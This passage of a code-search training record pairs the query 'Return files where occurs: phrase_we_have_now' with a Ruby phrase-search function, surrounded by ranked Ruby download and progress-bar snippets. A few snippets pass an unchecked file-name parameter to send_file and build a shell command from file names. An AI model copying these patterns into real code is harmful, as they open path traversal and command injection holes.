4).to_i\n timegone = DateTime.now.strftime('%s').to_i - start\n bps = size.to_f / timegone.to_f\n sleft = ((len - size).to_f / bps).to_i \n print_line \"DL: #{filename} - [#{'=' * lines}#{' ' * (25 - lines)}] #{perc}% (#{transform_byte(size)} / #{transform_byte(len)}) ETA: #{transform_secs(sleft)}\"\n end \n end\n end\n rescue Exception => ex\n if @debug\n print_line \"\\a\\a\\a\" << ex.message\n sleep 2\n end\n if ex.message.include? 'Interupt'\n print_line \"You interupted me. Skipping this file...\"\n return\n end\n # Something went wrong? Simply try again... (Hope the user want this to...)\n print_line \"Connection failture. Trying again...\"\n return download_file(url, filename, size) \n end\n # Finished but did not got everything? Should not happen. Try to get the rest\n if size < len\n return download_file(url, filename, size)\n end\n # Tell the user that we are done :)\n print_line \"Completed. See your file at #{filename}\"\n puts\nend", "def progress\n if processed\n return 100.0\n end\n\n response = Zencoder::Job.progress(zencoder_job_id)\n \n if response.body[\"state\"] == \"finished\"\n processed!\n return 100.0\n end\n\n return response.body[\"progress\"] if response.body[\"progress\"]\n\n return 0.0\n end", "def download_file(path, url, size: nil)\n File.open(path, 'wb') do |f|\n uri = URI(url)\n current = 0\n last_print_update = 0\n print_progress = UI.interactive? || U3dCore::Globals.verbose?\n Net::HTTP.start(uri.host, uri.port, http_opts(use_ssl: uri.scheme == 'https')) do |http|\n request = Net::HTTP::Get.new uri\n http.request request do |response|\n begin\n # override with actual results, this should help with\n # innacurrate declared sizes, especially on Windows platform\n size = Integer(response['Content-Length'])\n rescue ArgumentError\n UI.verbose 'Unable to get length of file in download'\n end\n started_at = Time.now.to_i - 1\n response.read_body do |segment|\n f.write(segment)\n current += segment.length\n # wait for Net::HTTP buffer on slow networks\n # FIXME revisits, this slows down download on fast network\n # sleep 0.08 # adjust to reduce CPU\n next unless print_progress\n\n print_progress_now = Time.now.to_f - last_print_update > 0.5\n # force printing when done downloading\n print_progress_now = true if !print_progress_now && size && current >= size\n next unless print_progress_now\n\n last_print_update = Time.now.to_f\n Utils.print_progress(current, size, started_at)\n print \"\\n\" unless UI.interactive?\n end\n end\n end\n print \"\\n\" if print_progress\n end\n end", "def minimal_progress_callback(state)\n case state\n when :start then print '|'\n when :step then print '.'\n when :end then puts\n end\n\n $stdout.flush\n end", "def display_progress\n\t\t@progress_key.join(\" \")\n\tend", "def progress\n l = length\n l.zero? ? 0 : 100 * time / l\n end", "def progress\n l = length\n l.zero? ? 0 : 100 * time / l\n end", "def progress\n l = length\n l.zero? ? 0 : 100 * time / l\n end", "def track_download\n connection.get(links.download_location)[\"url\"]\n end", "def progress=(value)\n @progress = value\n end", "def progress; state == 'running' ? @doc['progress'] : nil; end", "def download\n ExtensionVersion.increment_counter(:web_download_count, @version.id)\n Extension.increment_counter(:web_download_count, @extension.id)\n ManageIQ::Metrics.increment('extension.downloads.web')\n DailyMetric.increment(@version.download_daily_metric_key)\n\n redirect_to @version.download_url\n end", "def show\n calculate_progress\n ##complete_goal\n end", "def download()\n get_page\n puts \"Page Found\"\n get_img_names\n get_img_links\n len = @imgLinks.length\n a = @imgLinks\n files = @files\n len.times do |f|\n puts \"#{a[f]} found\"\n File.open(files[f], \"w\") do |fo|\t\n fo.write open(a[f]).read\n\t\tend\n puts \"#{files[f]} downloaded\"\n end\n end", "def execute(input: $stdin, output: $stdout)\n prompt.ok('simple progress bar')\n\n bar = TTY::ProgressBar.new(\"downloading [:bar]\", total: 30)\n \n 30.times do\n sleep(0.1)\n bar.advance(1)\n end\n\n :gui\n end", "def set_progress_web\n\n end", "def details\n \"Downloaded #{sanitize_uri(@last_url)} (#{ scale(size.to_i).join(' ') }) at #{ scale(speed.to_i).join(' ') }/s\"\n end", "def download\n \tmedia_type_id = params[:media_type]\n \tlogger.debug \"Download called for media type #{media_type_id}\"\n \toutfile = \"/var/spool/azcams/#{$$}-#{rand(0x100000000).to_s(36)}.pdf\"\n\t\tfiles = current_user.print_jobs.unprinted.by_media_type(media_type_id)\n\t\tlogger.debug \"Job files: #{files.map {|f| f.pdf_file }.join(' ')}\"\n\t\t\n \t# Open the ghostscript command to process the PDF files into one big one\n# \t \tstdin, stdout, stderr = Open3.popen3(\"/usr/bin/gs -dBATCH -dNOPAUSE -dSAFER-q -sDEVICE=pdfwrite -dPDFSETTINGS=/prepress -sOutputFile=- -\")\n# current_user.print_jobs.each do |j|\n# # *Apparently*, this opens the file, reads the whole lot, and sends it to the buffer identified by stdin\n# pdf=File.open(j.pdf_file, 'r')\n# f = pdf.read(nil)\n# stdin.write(f)\n# pdf.close\n# end\n `/usr/bin/gs -dBATCH -dNOPAUSE -dSAFER-q -sDEVICE=pdfwrite -dPDFSETTINGS=/prepress -sOutputFile=#{outfile} #{files.map {|f| f.pdf_file}.join(' ')}`\n\n send_file(outfile, :filename => \"#{current_user.account.name} azCams print task\")\n\t\tfiles.each do |j|\n\t\t\tp=PrintJob.find(j)\n\t\t\tp.printed = true\n\t\t\tp.save\n\t\tend\n\t\tFile.delete(outfile) if File.exist?(outfile)\n\t \t\n end", "def describe_progress\n str = \"#{identifier}: #{@title.capitalize} collection \"\n str << \"in response to #{@options[:m_id]} \" if @options[:m_id]\n str << \"didn't complete within #{@options[:timeout]}s, \"\n str << \"reached #{@messages.size}/#{@options[:num]}\"\n str\n end", "def download\n ExtensionVersion.increment_counter(:web_download_count, @version.id)\n Extension.increment_counter(:web_download_count, @extension.id)\n BonsaiAssetIndex::Metrics.increment('extension.downloads.web')\n DailyMetric.increment(@version.download_daily_metric_key)\n\n redirect_to helpers.download_url_for(@version)\n end", "def download_in_background options={}\n begin\n self.download( options.merge( { :fork => true } ) )\n rescue Exception => e\n SCRAPER_LOG.error( \"Skipped dowloading '#{location}': #{e.message}\" )\n end\n end", "def progress\n total = asset.pieces.count\n downloaded = total - piece_downloads.incomplete.count\n [downloaded, total]\n end", "def start_progress(max_progress)\n @show_progress = true\n @max_progress = max_progress\n @progress = 0\n display\n end", "def print_status\n next_run = ((@@next_task-Time.now)/60.0).round(2)\n\n print \"\\r\"\n print \"#{Time.now} #{[@chains.count,@steps_done].min}/#{@chain_count} chains active - #{@chains.sum(&:remaining_task_count)}/#{@task_count} Tasks remaining - Next task will run in #{next_run} minutes\"\n\n EM.add_timer 1, proc {\n print_status\n }\n end", "def generic_recipe_step\n puts \"On it!\"\n print_progress_bar\nend", "def generic_recipe_step\n puts \"On it!\"\n print_progress_bar\nend", "def generic_recipe_step\n puts \"On it!\"\n print_progress_bar\nend", "def ReportProgress(progress_s)\n progress_s = Builtins.sformat(\"=== %1 ===\", progress_s)\n\n Builtins.y2milestone(\"%1\", progress_s)\n UI.ChangeWidget(\n Id(:log_view),\n :LastLine,\n Ops.add(Ops.add(\"\\n\", progress_s), \"\\n\")\n )\n\n nil\n end", "def sample_progress_bar\n\trequire_relative 'lib/console'\n\t\n\tprogress = Console.logger.progress(\"Progress Bar\", 10)\n\t\n\t10.times do |i|\n\t\tsleep 1\n\t\t\n\t\tprogress.increment\n\tend\nend", "def ftp_download(host, dir, file, ofile, file_log)\n\t\t\tftp = Net::FTP.new(host)\n\t\t\tftp.login\n\t\t\tftp.chdir(dir)\n\t\t\t\t\t\n\t\t\tfilesize = ftp.size(file)\n\t\t\tif _check_download_size(ofile, filesize)\n\t\t\t\ttransferred = 0\n\t\t\t\tpb = ProgressBar.new(file, 100)\n\t\t\t\tftp.getbinaryfile(file, ofile, 1024) do |data|\n\t\t\t\t\tif data\n\t\t\t\t\t\ttransferred += data.size\n\t\t\t\t\t\tif transferred != 0\n\t\t\t\t\t\t\tpercent_finished = 100 * (transferred.to_f / filesize.to_f)\n\t\t\t\t\t\t\tpb.set(percent_finished)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\terror \"data returned by server is empty!\"\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tpb.finish\n\t\t\tend\n\t\t\tftp.close\n\t\tend", "def show_progress\n\t\[email protected](\" \")\n\tend", "def progress_mark; end", "def progress\n return @progress\n end", "def print_file(*) end", "def progress(run)\n return unless run.started?\n\n progress = Progress.new(run)\n\n progress_bar = tag.progress(\n value: progress.value,\n max: progress.max,\n class: [\"progress\"] + STATUS_COLOURS.fetch(run.status)\n )\n progress_text = tag.p(tag.i(progress.text))\n tag.div(progress_bar + progress_text, class: \"block\")\n end", "def download_files files,dest,opts = {}\n unless @started\n Logger.<<(__FILE__,\"ERROR\",\"FileManager is not started yet !\")\n abort\n end\n str = \"Will download #{files.size} files to #{dest} ... \"\n download_all_files files,dest\n str += \" Done !\"\n Logger.<<(__FILE__,\"INFO\",str) if opts[:v]\n end", "def update_progress(update_id)\n current_path = \"/api/v1/update/#{update_id}/status\"\n @conn.get(current_path)\n end", "def read(i)\r\n\t\t\tres = @innerStream.read(i)\r\n\t\t\t@transferred += res.respond_to?(:length) ? res.length : 0\r\n\t\t\tnow = Time.new\r\n\t\t\tif(now - @last > 1) # don't do this oftener than once per second\r\n\t\t\t\t@printed = true\r\n\t\t\t\t$stdout.printf(\"\\rProgress: %db %db/s %s \", @transferred, (@transferred/(now - @start)).floor, \r\n\t\t\t\t\t@total > 0? (100 * @transferred/@total).floor.to_s + \"%\" : \"\" \r\n\t\t\t\t) \r\n\t\t\t\t$stdout.flush\r\n\t\t\t\t@last = now\r\n\t\t\tend\r\n\t\t\tres\r\n\t\tend", "def download\n record_activity(\"downloaded \" + params[:file_name])\n send_file Rails.root.join('public', 'uploads', params[:file_name])\n end", "def download_images\r\n puts \"Downloading and processing images:\"\r\n STDOUT.flush\r\n images = @issue.images\r\n progress = ProgressBar.new(\"Downloading\", images.length)\r\n images.each do |i|\r\n download_image(i)\r\n progress.inc\r\n end\r\n progress.finish\r\n puts ''\r\n end", "def progress(callback = nil, &blk)\n @progress = callback || blk\n end", "def report_progress(message)\n @progress_block.call(message) if @progress_block\n end", "def update_progress(a)\n\t\tscript = 'update(\\''+a.to_s+'%\\');'\n\t\tputs script\n\t\t$dlgSplashScreen.execute_script( script )\n\t\t\n\t\tif (a==100)\n\t\t\t$dlgSplashScreen.close\n\t\t\tmenu\n\t\tend\n\tend", "def download_chapter\n\t\t\t@manga_volume == '' ? vol = '' : vol = \"/\" + @manga_volume\n\t\t\twebpages = get_page_links(\"/manga/#{@manga_name}#{vol}/#{@manga_chapter}/\")\n\t\t\tthreads = []\n\t\t\ti = 0\n\t\t\t\n\t\t\twebpages.each do |wp| \n\t\t\t\timagelink = get_image_link(wp)\n\t\t\t\tthreads << Thread.new{\n\t\t\t\t\ti += 1\n\t\t\t\t\tdownload_image(imagelink, \"#{@manga_name}_#{@manga_volume}_#{@manga_chapter}_#{i.to_s}\")\n\t\t\t\t\tprint($LOG += \"\\nDownloaded: #{imagelink} in #{@path_to_download}\\\\#{@manga_name}_#{@manga_volume}_#{@manga_chapter}_#{i.to_s}\")\n\t\t\t\t}\n\t\t\tend\n\t\t\t\n\t\t\tthreads.each(&:join)\n\t\t\tprint($LOG += \"\\nDownload complete.\")\n\t\tend", "def print_url_info(url_string)\nputs \"\\n////////////////////////////////////////////////////////////////////////////////\\n\\n\n Build submitted. To view your build progress, go to\\n#{url_string}\\n\\n\n////////////////////////////////////////////////////////////////////////////////\\n\\n\"\nend", "def start_download(blatt)\n\t File.open(\"/tmp/#{tractate_name}_#{blatt}.pdf\", \"wb\") do |f|\n f.write HTTParty.get(\"http://www.kolhalashon.com/imgs/Vilna/#{tractate_name}/#{tractate_name}_Amud_#{amud_conversion(blatt)}.pdf\").parsed_response\n end\n\tend", "def grabber_done(playlist_id)\n @outfile.close\n @bar_progress.percent = 100\n @button_start.state = 'normal'\n \n filename = \"#{playlist_id}#{OUTFILE_EXT}\"\n show_msg('Done', \"Finished OK. Output to #{filename}\")\nend", "def communicate_complete\n File.open(\"#{@options[:output_directory]}/finished.job\", 'w') { |f| f << \"Finished Workflow #{::Time.now} #{@options}\" }\n raise 'Missing required options' unless @options[:url] && @options[:datapoint_id] && @options[:project_id]\n send_status('Complete')\n send_file(\"#{@options[:output_directory]}/run.log\")\n Dir.glob(\"#{@options[:output_directory]}/../reports/*\").each do |f|\n next if File.basename(f) == 'view_model_report.json'\n\n send_file(f)\n end\n end", "def download\n send_file @cfile.path.to_s\n end", "def step(step_increment = 1)\n @current_steps+= step_increment\n new_markers = @max_steps != 0 ? (@current_steps / @steps_per_marker).to_i : max_markers\n\n new_percentage = @max_steps != 0 ? @current_steps * 100 / @max_steps : 100\n if @use_ansi and new_percentage != @current_percentage\n # This part uses ANSI escape sequences to show a running percentage\n # to the left of the progress bar\n print \"\\e[1D\" * (@current_markers + 5) if @current_percentage != 0 # go left\n print \"#{new_percentage}%\".rjust(4) << \" \"\n print \"\\e[1C\" * @current_markers if @current_markers != 0 # go back right\n $stdout.flush rescue nil\n @current_percentage = new_percentage\n end\n\n if new_markers > @current_markers\n print '.' * (new_markers - @current_markers)\n @current_markers = new_markers\n $stdout.flush rescue nil\n end\n if @current_steps == @max_steps\n print '.' * (max_markers - @current_markers) + ' '\n $stdout.flush rescue nil\n end\n end", "def percent_complete\n xml = @client.get_request(\"/services/search/jobs/#{@sid}\")\n doc = Nokogiri::XML(xml)\n progress = doc.xpath(\"//s:key[@name='doneProgress']\").text\n return \"#{progress}/1.0\"\n end", "def report_progress(data = {})\n @progress_count ||= 0\n\n if (@progress_count += 1) > 4\n warn(\"do not call Slackathon::Command#report_progress more than 4 times\")\n return\n end\n\n say(\n response_type: :ephemeral,\n text: format(progress_message, data)\n )\n end", "def download(path, item)\n Download.download item.link, path\n Logger.instance.info \"Downloaded file #{item.title}\"\n @history.save item.title\n end", "def download_file\n info(\"Downloading file \" + @filename + \" started.\")\n \n open(local_file, 'wb') do |file|\n file << open(remote_file).read\n end\n\n info(\"Downloading file \" + @filename + \" completed successfully.\")\n rescue StandardError => e\n error(\"Unable to download file #{@filename} due to following error occurred #{e}\")\n end", "def download\r\n logger.info(\"UserController::download:---#{params}\")\r\n end", "def get_progress()\n @result_tfile.rewind\n progress = @result_tfile.each_line.collect do |line|\n group = line.scan(/Completed (\\d+) requests/)\n group = group.empty? ? 0 : group[0][0]\n end\n progress.reject{|x| x == 0}.length * 10\n end", "def progress(lesson)\n \"%0.2f%\" % (chapters_completed.where(lesson: lesson).count / lesson.chapters.count.to_f * 100)\n end", "def download_job(uuid, out_fn, username, password)\n puts \"Downloading data from job #{uuid} to #{out_fn}\"\n fail \"Output file exists!\" if File.exist?(out_fn)\n\n job = get_job(uuid, username, password)\n puts \"Job info:\"\n puts summarise_job(job, 2)\n puts \"\"\n\n # Download stuff.\n puts \"Retrieving index...\"\n index = get_json(job['results']['dataURL'], username, password, '')\n\n num_files = index['urlCount']\n puts \"Retrieving #{num_files} files...\"\n \n i = 0\n File.open(out_fn, 'w') do |out|\n index['urlList'].each do |url|\n i += 1\n print \" #{i} / #{num_files} (#{((i.to_f / num_files.to_f) * 100.0).round(2)}%) \\r\"\n\n begin\n # RAW HTTP get request\n res = Net::HTTP.get(URI(url))\n zlibr = Zlib::GzipReader.new(StringIO.new(res.to_s))\n out.puts zlibr.read\n rescue StandardError => e\n print \"\\n*** ERR on file #{i}, URL: #{url}\\n\"\n end\n \n end # /url iteration\n end # /file handle\n\n print \"Done\\n\"\nend" ]
[ "0.7580165", "0.7153473", "0.694257", "0.694257", "0.694257", "0.694257", "0.694257", "0.69404536", "0.6876141", "0.6522011", "0.6521914", "0.6503979", "0.64607036", "0.64282113", "0.63820374", "0.63189095", "0.6314882", "0.62997055", "0.62782466", "0.62782365", "0.62574345", "0.62531185", "0.625054", "0.622199", "0.6189771", "0.61664736", "0.61593235", "0.6148404", "0.61072415", "0.6105293", "0.60909843", "0.60909843", "0.60909843", "0.60909843", "0.60890096", "0.60777414", "0.6042011", "0.60216665", "0.60017323", "0.6000224", "0.5999823", "0.59737515", "0.59222096", "0.5913707", "0.5902654", "0.5897021", "0.5892781", "0.5890407", "0.5890407", "0.5890407", "0.5872559", "0.58668476", "0.5866797", "0.5853842", "0.58511573", "0.5850495", "0.5843328", "0.58118856", "0.5810438", "0.57887536", "0.57872486", "0.5786666", "0.5777143", "0.57717043", "0.5756155", "0.5725036", "0.56946015", "0.56946015", "0.56946015", "0.56905764", "0.5686517", "0.56792504", "0.567849", "0.56753474", "0.56645185", "0.5646432", "0.5646415", "0.5628886", "0.56281364", "0.5616246", "0.5614718", "0.5597664", "0.5589851", "0.557472", "0.55727595", "0.5572219", "0.5563385", "0.5559757", "0.5554909", "0.55529594", "0.5526909", "0.5525798", "0.5520318", "0.5518844", "0.55122495", "0.54994917", "0.549147", "0.54858327", "0.5474736", "0.54728127" ]
0.67745066
9
=== Return files where occurs: phrase_we_have_now
def search_in_project phrase_we_have_now result_files_with_phrase = [] path_to_files = File.join(DIRECTORY_PATH, '**/*.rb') files_to_check = [] Dir.glob(path_to_files) do |rb_file| files_to_check << rb_file end raise "files_to_check is empty !" if files_to_check.length == 0 #Looking for files where occurs: phrase_we_have_now files_to_check.each do |one_file| file = File.open(one_file, "r") do |f| f.each_line do |line| reg = /.*#{@phrase_we_have_now}.*/ if line.match?(reg) result_files_with_phrase << one_file end end end end if result_files_with_phrase.length == 0 puts "\n\e[31m\e[1;4mThe phrase: '#{@phrase_we_have_now}' not found in files.\e[31m" exit end result_files_with_phrase.uniq.sort end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def iterate_several_file file_path\n #Iterate file line by line\n result_lines_in_file = []\n reg = /.*#{@phrase_we_have_now}.*/\n file = File.open(file_path, \"r\") do |f|\n f.each_line do |line|\n if line.match?(reg)\n result_lines_in_file << line\n end\n end\n end\n result_lines_in_file\n end", "def search\n result = []\n @selected_files.each do |filename, file|\n text = unzip(filename, file)\n break unless text # skip file if not enable option '-z'\n text.delete(\"\\n\") # delete blank lines\n t = text.clone\n text.map!.with_index do |current_str, i|\n @picking.call(current_str, i, t) if current_str.index(@search_string)\n end\n result << text.compact << \"_______end of file\".green_on_blue + \" '#{filename}'\".yellow_on_blue\n end\n result\n end", "def files\n Dir.entries(\"#{path}\").select {|song_filename| song_filename.include?(\"mp3\")}\n end", "def search(word)\n num_chapters = Dir.glob(\"data/chp*\").count\n results = []\n 1.upto(num_chapters) do |chapter_num|\n matches = {}\n chapter_paragraphs = File.read(\"data/chp#{chapter_num}.txt\").split(\"\\n\\n\")\n chapter_paragraphs.each_with_index do |paragraph, index|\n matches[index] = paragraph if paragraph.include?(word)\n end\n results << {name: @contents[chapter_num - 1], number: chapter_num,\n paragraphs: matches} if matches.any?\n end\n results\nend", "def files\n filename = Dir.entries(@path).find_all {|file| file.include?(\".mp3\")}\n # binding.pry\n # [[\"Thundercat - For Love I Come - dance.mp3\",\n # \"Real Estate - It's Real - hip-hop.mp3\",\n # \"Action Bronson - Larry Csonka - indie.mp3\",\n # \"Real Estate - Green Aisles - country.mp3\"]]\n\n #binding.pry\n end", "def get_important_files dir\n # checks various lists like visited_files and bookmarks\n # to see if files from this dir or below are in it.\n # More to be used in a dir with few files.\n list = []\n l = dir.size + 1\n\n # 2019-03-23 - i think we are getting the basename of the file\n # if it is present in the given directory XXX\n @visited_files.each do |e|\n list << e[l..-1] if e.index(dir) == 0\n end\n list = get_recent(list)\n\n # bookmarks if it starts with this directory then add it\n # FIXME it puts same directory cetus into the list with full path\n # We need to remove the base until this dir. get relative part\n list1 = @bookmarks.values.select do |e|\n e.index(dir) == 0 && e != dir\n end\n\n list.concat list1\n list\nend", "def grep(filename, phrase)\n matches = []\n lines = IO.readlines filename\n (1..lines.length).each do |num|\n matches.push([num, lines[num-1]]) if lines[num-1].match(phrase)\n end\n puts \"Found #{matches.length} matches\\n\"\n matches.each { |line| puts \"#{line[0]} #{line[1]}\"}\nend", "def document_entries\n entries.select{ |f| File.file?(File.join(path,f)) }\n end", "def list_files\n @synth_files = CreatedFile.find_all_by_content_type(\"synthesis\",\n :include => :researcher, \n :order => \"created_at DESC, created_file DESC\")\n end", "def searchFile(articule, get_dir, out_dir)\n return_arr = []\n get_dir.each do |filename|\n if (articule == File.basename(filename).chomp.slice(/^\\w+/))\n FileUtils.cp(filename, out_dir + File.basename(filename))\n puts \"#{articule} is finded #{File.basename(filename)}\"\n return_arr[0] = true\n return_arr[1] = File.basename(filename)\n else\n return_arr[0] = false\n return_arr[1] = \"Sorry but image for art. #{articule} isn't finding\"\n end\n end\n return return_arr\nend", "def grep(filename, phrase)\n File.open(filename) do |f|\n f.each { |line| puts \"#{f.lineno}: #{line}\" if line[phrase]}\n end\nend", "def file_search\n #Checks the current folder for python files\n py_files = Dir.glob('*.py')\n #Checks if files exist, exists if not\n if py_files != []\n file_output(py_files)\n else\n puts \"You got lucky, Motherasshole!\"\n end\nend", "def find_text_page file_name\n @text_files_hash.each_value.find do |file|\n file.full_name == file_name\n end\n end", "def search_builder(file_added, word)\n\t\t file_data = File.read(file_added)\n\t\t file_2data = File.read(file_added).split(\"\\n\")\n\t\t\tper = \"#{word}: can not find\"\n\n\t\t\tif file_data.downcase.include?(word.downcase)\n\n\t\t\t\tfor j in 0..file_2data.length-1\n\t\t\t\t if file_2data[j].downcase.include?(word.downcase)\n\t\t\t\t\t\tper = file_2data[j].downcase\n\n\t\t\t\t\t\tif per.include?(\":\")\n\t\t\t\t\t\t per = per.capitalize\n\n\t\t\t\t\t\telsif per.downcase.include?(\"#{word.downcase}\")\n\t\t\t\t\t\t per = \"#{word}: found\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn per\n\t\tend", "def grep(filename, phrase)\n File.open(filename) do |lines|\n lines.each do |line|\n puts \"#{lines.lineno}. #{line}\" if line =~ Regexp.new(phrase)\n end\n end\nend", "def grep(filename, phrase)\n File.open(filename) do |f|\n f.each { |line| puts \"#{f.lineno}: #{line}\" if line[phrase] }\n end\nend", "def search_on_filename\n needle = query.downcase.as_wiki_link\n all_pages.select { |name| name.downcase.include? needle }.map do |name|\n # unfreeze the String name by creating a \"new\" one\n SearchResult.new(name, 2 * @score, [0, name.tr('_', ' ')])\n end\n end", "def find_files_not(sort)\n files = []\n Find.find(sort) do |path|\n next if File.directory? path\n next if File.basename(path) =~ /^\\./\n next if (tv_file File.basename(path))\n files << path\n end\n files\nend", "def getEgglockeNames\r\n ary = []\r\n temp = Dir.entries(\"Egglocke/\")# rescue nil)\r\n if temp != nil\r\n for string in temp\r\n if string.include?(\".txt\") && !string.include?(\"readme.txt\")\r\n string = string[0..-5]\r\n ary.push(string)\r\n end\r\n end\r\n end\r\n if ary.length==0\r\n Kernel.pbMessage(\"No files were found\")\r\n return false\r\n end\r\n return ary\r\nend", "def find_other_post (utilHash)\n fileList = []\n if (utilHash[\"technical\"])\n fileList += Dir[utilHash[\"blog_path\"] + \"t*.html\"]\n end\n if (utilHash[\"cultural\"])\n fileList += Dir[utilHash[\"blog_path\"] + \"c*.html\"]\n end\n return fileList\nend", "def search_project_paths(word)\n\t\n\t# Collect all .as and .mxml files with a filename that contains the search\n\t# term. When used outside a project this step is skipped.\n\tTextMate.each_text_file do |file|\n\t\t\n\t\tif file =~ /\\b#{word}\\w*\\.(as|mxml)$/\n\t\t\t\n\t\t\tpath = file.sub( $project, \"\" );\n\t\t\t\n\t\t\tcommon_src_dirs.each do |remove|\n\t\t\t\tpath = path.gsub( /^.*\\b#{remove}\\b\\//, '' );\n\t\t\tend\n\n\t\t\tpath = path.gsub(/\\.(as|mxml)$/,'').gsub( \"/\", \".\").sub(/^\\./,'')\n\n\t\t\tif path =~ /\\.#{word}$/\n\t\t\t\t$best_paths << path\n\t\t\telse\n\t\t\t\t$package_paths << path\n\t\t\tend\n\t\t\t\n\t\tend\n\t\t\n\tend\n\n\t{ :exact_matches => $best_paths, :partial_matches => $package_paths }\n\t\nend", "def find_files(recusive,sort)\n ext_list = $config[\"series\"][\"media_extentions\"].gsub(/,/,\"|\")\n files = [] \n if File.directory? sort\n Find.find(sort) do |path|\n next if File.dirname(path) != sort and not recusive\n next if File.directory? path\n next if File.basename(path) =~ /^\\./\n next if path !~ /#{ext_list}$/\n files << path\n end\n else\n log(\"error: source directory of \\\"#{sort}\\\" does not exist!\")\n exit 2\n end\n files\nend", "def files() = files_path.glob('**/*')", "def search_filenames\n # * => all files\n # r => search from its subdirectories\n # i => ignore cases\n # l => list file name\n # c => show word occurence count\n # w => words\n\n args = set_args\n # grep -ril '#keyword1' --include=\\*.rb *\n `grep -ril '#{args}' #{search_extension} *`\n end", "def files\n result = []\n @my_files.each do |f|\n result << f.fname if FileTest.file?(f.fname)\n end\n result\n end", "def get_all_mediatype_files\n puts \"Searching for files in #{directory_tree}\"\n # Rewrote to use absolute search paths because FakeFS chokes on Dir.chdir\n matching_files = []\n @extensions.each do |ex|\n search_for = File.join(directory_tree, \"**\", '*' + ex) # example: \"/home/xavier/Tech/Docs/**/*.pdf\"\n matching_files.concat(Dir.glob(search_for))\n end\n #puts \"Found these files: \" + matching_files.to_s\n convert_to_pathnames(matching_files).delete_if { |file| file.dirname.to_s == mediatype_dirname.to_s }\n end", "def files\n songs = Dir.entries(path) #this is a separate class within itself \n #this is saying delete each song in the array if it starts with a string of a period because they are all strings\n songs.reject {|song| song[0] == \".\"}\n end", "def findFlacFiles()\nflacdirs = Array.new\nDir.foreach(\".\") { |file| \\\n if(File.directory?(file))\n Dir.foreach(file) { |subfile| \\\n if(!subfile[-5..-1].nil?)\n if(subfile[-5..-1] == \".flac\")\n flacdirs << file + \"/\"\n break\n end\n end\n }\n end\n }\n return flacdirs;\nend", "def files\n @files_array = Dir.entries(self.path).select {|f| !File.directory? f}\n # This returns:\n # [\"Action Bronson - Larry Csonka - indie.mp3\",\n # \"Real Estate - Green Aisles - country.mp3\",\n # \"Real Estate - It's Real - hip-hop.mp3\",\n # \"Thundercat - For Love I Come - dance.mp3\"]\n end", "def get_unknown_files\n\t\t\tlist = read_command_output( 'hg', 'status', '-un', '--color', 'never' )\n\t\t\tlist = list.split( /\\n/ )\n\n\t\t\ttrace \"New files: %p\" % [ list ]\n\t\t\treturn list\n\t\tend", "def get_non_flac_paths(source_path)\n non_flac_file_paths = Find.find(source_path).reject {|f| f.end_with?(\".flac\")}\n non_flac_file_paths.reject! {|e| !File.file?(e) }\n return non_flac_file_paths\nend", "def get_important_files dir\n list = []\n l = dir.size + 1\n s = nil\n ($visited_files + $bookmarks.values).each do |e|\n if e.index(dir) == 0\n #list << e[l..-1]\n s = e[l..-1]\n next unless s\n if s.index \":\"\n s = s[0, s.index(\":\")] + \"/\"\n end\n # only insert if the file is in a deeper dir, otherwise we'll be duplicating files from this folder\n list << s if s.index \"/\"\n end\n end\n # bookmarks have : which needs to be removed\n #list1 = $bookmarks.values.select do |e|\n #e.index(dir) == 0\n #end\n #list.concat list1\n return list\nend", "def search(search_terms)\n\n db = Sequel.sqlite(dbfilename)\n dataset = db[:pdfmd_documents].where(\"UPPER(keywords) LIKE UPPER('%#{search_terms[0]}%')\")\n result_files = ''\n dataset.all.each do |match_file|\n match_file.each do |key,value|\n if key == :keywords\n\n # Split the keywords\n keywords = value.downcase.split(/\\s*,\\s*/)\n # Search for matches in the keywords.\n if keywords.find{ |e| /#{search_terms.join(' ').downcase}/ =~ e }\n result_files += match_file[:filename] + \"\\n\"\n end\n end\n\n end\n end\n\n # Ouput result filenames\n result_files\n\n end", "def find_stats_files(s_dir)\n stats_files = []\n Dir[s_dir + \"/*stats*\"].each do |f|\n stats_files << f if f =~ %r{marked.stats[.F3|.R3]*.txt$}x and \n File.file?(f) and File.size?(f)\n end\n\n # Either 1 stats file\n # Or 2 stats file (R3|F3)\n if (stats_files.size == 1 and\n stats_files[0].split(\"/\")[-1] == \"marked.stats.txt\") or\n (stats_files.size == 2 and\n stats_files[0].split(\"/\")[-1] == \"marked.stats.R3.txt\" and\n stats_files[1].split(\"/\")[-1] == \"marked.stats.F3.txt\")\n stats_files\n else\n []\n end \nend", "def files_filtering files\n return files unless @file_regexp\n f = files.select do |file|\n test_name_by_date file\n end\n f\n end", "def find_files\n find_files_recursive(@build_result_dir, '')\n end", "def files\n # list_of_filenames = Dir.entries(path)\n @list_of_filenames = Dir.glob(\"#{@path}/*.mp3\").collect! {|x| x.gsub(\"#{@path}/\", \"\") }\n # binding.pry\n end", "def test_files\n Dir.open(TESTS_CODE) do |dir|\n dir.entries.grep(/^#{TEST_PREFIX}/)\n end\nend", "def execute_files(files, terms, dir, i=0)\n key_terms = get_words(terms)\n if terms.size == 1\n puts terms\n files.select{|x| File.basename(x).start_with?(terms[0])}.each_with_index do |f, index|\n execute_file dir, files, f, index, terms\n end\n files.select{|x| !File.basename(x).start_with?(terms[0])}.each_with_index do |f, index|\n execute_file dir, files, f, index, terms\n end\n else\n files.each_with_index do |f, index|\n execute_file dir, files, f, index, terms\n end\n end \n end", "def run_through_directory\n@file_array = []\n Dir.foreach('text_files') do |item|\n next if item == '.' or item == '..'\n @file_array << item\n end\nend", "def all_files() = path.glob('**/*').select(&:file?).map(&:to_s)", "def collect_related_bib_files\n @info_by_mms_id.each_key{|mms_id|\n re_fname_with_this_mms_id = /\\.mmsid#{mms_id}#{Regexp.quote(BIB_FNAME_EXT)}$/\n fname = @bib_basenames.find{|f| f.match(re_fname_with_this_mms_id)}\n if fname\n @info_by_mms_id[mms_id][:bib_basename] = fname\n else\n # Prevent further processing by removing this MMS ID from the list\n @info_by_mms_id.delete(mms_id)\n @mms_ids_not_processed << mms_id\n STDERR.puts \"WARNING: No related bib file found for MMS ID '#{mms_id}'. Processing this record will halt.\"\n end\n }\n end", "def analyze_404\n selected_files.each do |file_name|\n result = [file_name[0,6], 0, 0]\n url = ''\n 